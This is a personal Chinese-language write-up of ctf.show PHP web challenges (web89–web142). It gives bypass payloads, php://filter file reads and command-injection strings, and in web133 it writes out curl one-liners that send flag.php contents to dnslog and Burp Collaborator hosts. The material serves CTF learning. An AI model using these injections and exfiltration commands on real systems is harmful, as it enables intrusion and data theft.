web89
pregmatch不能处理数组
intval遇到非空数组返回1
?num[]=0
web90
base为0时通过检测 var 的格式来决定使用的进制
4476a也可以
web91
通过开头加%0A来匹配/im
web92
同web90
web93
开头加0,intval转成八进制来算
web94
要出现0而且不能是在开头
那就4476.0
web95
num变成+010574就行了。。。
web96
我输的是../html/flag.php
其实直接./flag.php就行了
web97
用数组绕过md5比较
web98
分析代码,就是如果GET值存在,GET的值就是POST的值
考虑POST传HTTP_FLAG=flags
web99
in_array里沿用了==弱比较
n可以是1.php
web100
<?php
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
我惊了
因为=的优先级比and高...
考虑第二部分
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');
还是挺灵活的>w<
web101
还是不会。。。答案是利用了反射类
不是很懂
?v1=1&v2=echo new Reflectionclass&v3=;
web102
这里v1用hex2bin
在php5的环境中,是可以识别十六进制的
在php7中不行
考虑对于v3用伪协议php://filter/write=convert.base64-decode/resource=1.php
v2用经BASE64加密后转成的十六进制
其中<?=`cat *`;加密后去掉=的十六进制(5044383959474e6864434171594473)符合条件
web103
同上。。?
web104
我直接v1=1,v2=1了。。。
#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
记录一个Hint的payload
web105
非常有趣的题
我的方法是直接利用die($error)
?x=flag
error=x
web106
直接上sha1弱比较的payload了...
web107
parse_str
表示将字符串解析成变量
v3=QNKCDZO
POST
v1=flag=0
web108
ereg有%00截断的漏洞
?c=a%00778
web109
反射类..?
?v1=Exception&v2=system('cat *')
?v1=Reflectionclass&v2=system('cat *')
还不是特别懂。。。
web110
FilesystemIterator 获取指定目录下的所有文件
getcwd()函数 获取当前工作目录 返回当前工作目录
?v1=FilesystemIterator&v2=getcwd
web111
$GLOBALS能引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
web112
这里首先要绕过is_file,也就是file不能是一个文件
而且还要通过filter过滤
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
或者二次编码来绕过
?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php
我到现在还只是知道伪协议而已...
web113
这个更玄学QwQ
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
/proc/self/root指向根目录。。。多次重复就可以绕过is_file...
web114
同web112。。?
web115
%0c36可以绕过is_numeric和trim
小测试~
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
web123
这题有两个有趣的地方

还有就是可以在执行的语句里直接把flag输出,不用赋值什么fl0g
看来还是我思路不够灵活.
web125
想到了可以用highlight_file却没有想到可以套一个$_GET...
GET:?1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
网上的另外两种做法:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=var_export(get_defined_vars())
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
好神啊TwT
web126
其实这题也是有很多方法的。。。
get: ?0=var_export($GLOBALS);
post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
这里的$_SERVER['argv']值得玩味

web127
这题的做法竟是用BP跑一下。。。
copy一个waf测试
经过测试
<?php
function curl($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
return strlen($result);
}
for ($i=0; $i < 128; $i++) {
$url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
if(curl($url)!==0){
echo urlencode(chr($i))."\n";
}
}
我们发现
ctf + _ [ . show 等同于 ctf_show
web128
gettext拓展的使用 在开启该拓展后 _() 等效于 gettext() get_defined_vars — 返回由所有已定义变量所组成的数组 payload:f1=_&f2=get_defined_vars
web129
php://filter是可以套一层乱七八糟的协议的...
原来还可以跳目录。。。
f=php://filter/read=convert.base64-encode/ctfshow/resource=flag.php
f=/ctfshow/../../../../var/www/html/flag.php
web130
直接post一个ctfshow就行了...因为+要匹配至少一个.
web131
* 和 + 限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个 ? 就可以实现非贪婪或最小匹配。
非贪婪模式匹配原理简单来说是, 在可配也可不配的情况下, 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再溯, 进行匹配.
源字符串: aaab正则: .? 匹配过程开始的时候, “.?”首先取得匹配控制权, 因为是非贪婪模式, 所以优先不匹配, 将匹配控制交给下一个匹配字符”b”, “b”在源字符串位置1匹配失败(“a”), 于是回溯, 将匹配控制交回给”.?”, 这个时候, “.?”匹配一个字符”a”, 并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了3次回溯.
默认是backtrack_limit是100000
一个网上的脚本
import requests
url = 'http://1841dcf9-5186-4e2c-a3f6-99d22d8c0628.challenge.ctf.show'
esp = 1000000
ebp = 100000
while True:
middle = int((esp+ebp)/2)
print(middle)
payload = 'ctfsho' * middle + '36Dctfshow'
data = {
'f': payload
}
r = requests.post(url=url, data=data)
print(r.text)
if 'ctfshow{' in r.text:
print(r.text)
break
elif 'Too Large' in r.text:
esp = middle
elif 'bye' in r.text:
ebp = middle
web132
||优先级低于&&
所以只要满足username=admin&code=admin就行了
web133
很好玩的一道题
答案是一个套娃
F=`$F`; sleep 3
其中``是shell_exec()函数的缩写
eval会执行``$F`; sleep 3`
然后用curl函数把flag带出来
?F=`$F`; curl `cat flag.php|grep "flag"`.xxx.dnslog.cn
相当于先执行``里面的语句,再访问网址
还可以利用Burp Collaborator Client来获取源代码
?F=`$F`; curl -X POST -d "`cat flag.php`" gp9wjupsrszlaxjyjynjalefv61ypn.burpcollaborator.net
web134
_POST[key1]=36d&_POST[key2]=36d
然后查看界面源码
web135
cp flag.php 1.txt后再直接访问
hint里的方法是ping `cat flag.php|awk 'NR==2'`
不是很会。。。
web137
ctfshow::getFlag
web138
数组也能调用类。。。
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web140
intval(intval(array()))=="ctfshow"
web142
直接输0就可以了。。。
不知道考什么
Comments | NOTHING